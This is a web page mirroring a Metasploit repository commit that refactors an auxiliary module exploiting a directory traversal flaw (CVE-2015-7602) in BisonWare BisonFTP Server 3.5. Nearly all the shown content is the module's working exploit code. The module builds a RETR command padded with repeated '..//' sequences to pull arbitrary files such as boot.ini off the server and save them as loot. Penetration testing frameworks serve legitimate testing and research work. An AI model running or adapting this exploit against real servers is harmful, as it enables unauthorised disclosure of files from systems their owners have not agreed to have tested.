infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Do module cleanup for auxiliary/scanner/ftp/bison_ftp_traversal

bug/bundler_fix
wchen-r7 2015-11-11 11:46:37 -06:00
parent 75a0472db8
commit 40bdd2bd01
1 changed files with 31 additions and 25 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

56
modules/auxiliary/scanner/ftp/bison_ftp_traversal.rb
View File

@ -13,42 +13,47 @@ class Metasploit3 < Msf::Auxiliary
def initialize(info = {}) def initialize(info = {})
super(update_info(info, super(update_info(info,
'Name' => 'BisonWare BisonFTP Server Directory Traversal Information Disclosure', 'Name' => 'BisonWare BisonFTP Server 3.5 Directory Traversal Information Disclosure',
'Description' => %q{ 'Description' => %q{
This module exploits a directory traversal vulnerability found in BisonWare BisonFTP server This module exploits a directory traversal vulnerability found in BisonWare BisonFTP server
version 3.5. This vulnerability allows an attacker to download arbitrary files from the server version 3.5. This vulnerability allows an attacker to download arbitrary files from the server
by crafting a RETR command including file system traversal strings such as '..//.' by crafting a RETR command including file system traversal strings such as '..//.'
}, },
'Platform' => 'win', 'Platform' => 'win',
'Author' => 'Author' =>
[ [
'Jay Turla <@shipcod3>', # msf and initial discovery 'Jay Turla', # @shipcod3, msf and initial discovery
'James Fitts', 'James Fitts',
'Brad Wolfe' #brad.wolfe[at]gmail.com 'Brad Wolfe <brad.wolfe[at]gmail.com>'
], ],
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'References' => 'References' =>
[ [
[ 'EDB', '38341'], [ 'EDB', '38341'],
[ 'CVE', '2015-7602'] [ 'CVE', '2015-7602']
], ],
'DisclosureDate' => 'Sep 28 2015')) 'DisclosureDate' => 'Sep 28 2015'
))
register_options( register_options(
[ [
OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 32 ]),
OptString.new('PATH', [ true, "Path to the file to disclose, releative to the root dir.", 'boot.ini']) OptString.new('PATH', [ true, "Path to the file to disclose, releative to the root dir.", 'boot.ini'])
], self.class) ], self.class)
end end
def check def check_host(ip)
connect begin
disconnect connect
if (banner =~ /BisonWare BisonFTP server product V3.5/) if /BisonWare BisonFTP server product V3\.5/i === banner
return Exploit::CheckCode::Appears return Exploit::CheckCode::Appears
else end
return Exploit::CheckCode::Safe ensure
disconnect
end end
Exploit::CheckCode::Safe
end end
def run_host(target_host) def run_host(target_host)
@ -60,7 +65,7 @@ class Metasploit3 < Msf::Auxiliary
file = ::File.basename(file_path) file = ::File.basename(file_path)
# make RETR request and store server response message... # make RETR request and store server response message...
retr_cmd = ( "..//" * 32 ) + "#{file_path}" retr_cmd = ( "..//" * datastore['DEPTH'] ) + "#{file_path}"
res = send_cmd( ["RETR", retr_cmd]) res = send_cmd( ["RETR", retr_cmd])
# read the file data from the socket that we opened # read the file data from the socket that we opened
@ -73,15 +78,16 @@ class Metasploit3 < Msf::Auxiliary
# store file data to loot # store file data to loot
loot_file = store_loot("bisonware.ftp.data", "text", rhost, response_data, file, file_path) loot_file = store_loot("bisonware.ftp.data", "text", rhost, response_data, file, file_path)
print_status("Stored #{file_path} to #{loot_file}") vprint_status("Data returned:\n")
vprint_line(response_data)
print_good("Stored #{file_path} to #{loot_file}")
# Read and print the data from the loot file. rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
info_disclosure = print_line(loot_file) vprint_error(e.message)
print_status("Printing contents of #{file_path}") elog("#{e.class} #{e.message} #{e.backtrace * "\n"}")
print_good("Result:\n #{info_disclosure}") rescue ::Timeout::Error, ::Errno::EPIPE => e
vprint_error(e.message)
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout elog("#{e.class} #{e.message} #{e.backtrace * "\n"}")
rescue ::Timeout::Error, ::Errno::EPIPE
ensure ensure
data_disconnect data_disconnect
disconnect disconnect